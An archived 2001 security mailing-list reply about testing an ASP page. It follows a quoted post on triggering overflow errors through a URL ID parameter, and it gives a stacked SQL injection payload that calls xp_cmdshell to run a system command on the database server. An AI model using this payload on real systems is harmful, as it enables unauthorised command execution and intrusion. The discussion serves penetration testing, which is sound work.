Re: ASP code testing

From: rudi carell (rudicarellat_private)
Date: Mon Nov 19 2001 - 08:11:52 PST

  • Next message: Gary O'leary-Steele: "SQL"

    hi dan,
    
    if the application(not the DB!) does not check for a valid number(int) ,
    i d recommand appending a second statement something like:
    
    ---cut here---
    
    http://server/showsomething.asp?
    ID=5['|"|<nothing>];exec+master%2e%2exp_cmdshell+%22dir+c:\%22;--%00
    
    ---cut here---
    
    if not, go for the next input field ...
    
    
    rc
    
    
    >http://www.asite.com/show/showsomething.asp?ID=5
    >Will retrieve a legitmate item from the database. By playing with the
    >number a bit- http://www.asite.com/show/showsomething.asp?ID=32767
    >
    >Will generate
    >
    >ADODB.Field error '80020009'
    >
    >Either BOF or EOF is True, or the current record has been deleted.
    >Requested operation requires a current record.
    >
    >But if I bump that number up to 32768 (unsigned integer limit)-
    >
    >Microsoft VBScript runtime error '800a0006'
    >
    >Overflow: 'cint'
    
    
    
    rc
    
    securityat_private
    http://www.freefly.com/security/
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    _________________________________________________________________
    Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp
    
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
    Service. For more information on SecurityFocus' SIA service which
    automatically alerts you to the latest security vulnerabilities please see:
    https://alerts.securityfocus.com/
    



    This archive was generated by hypermail 2b30 : Mon Nov 19 2001 - 14:20:24 PST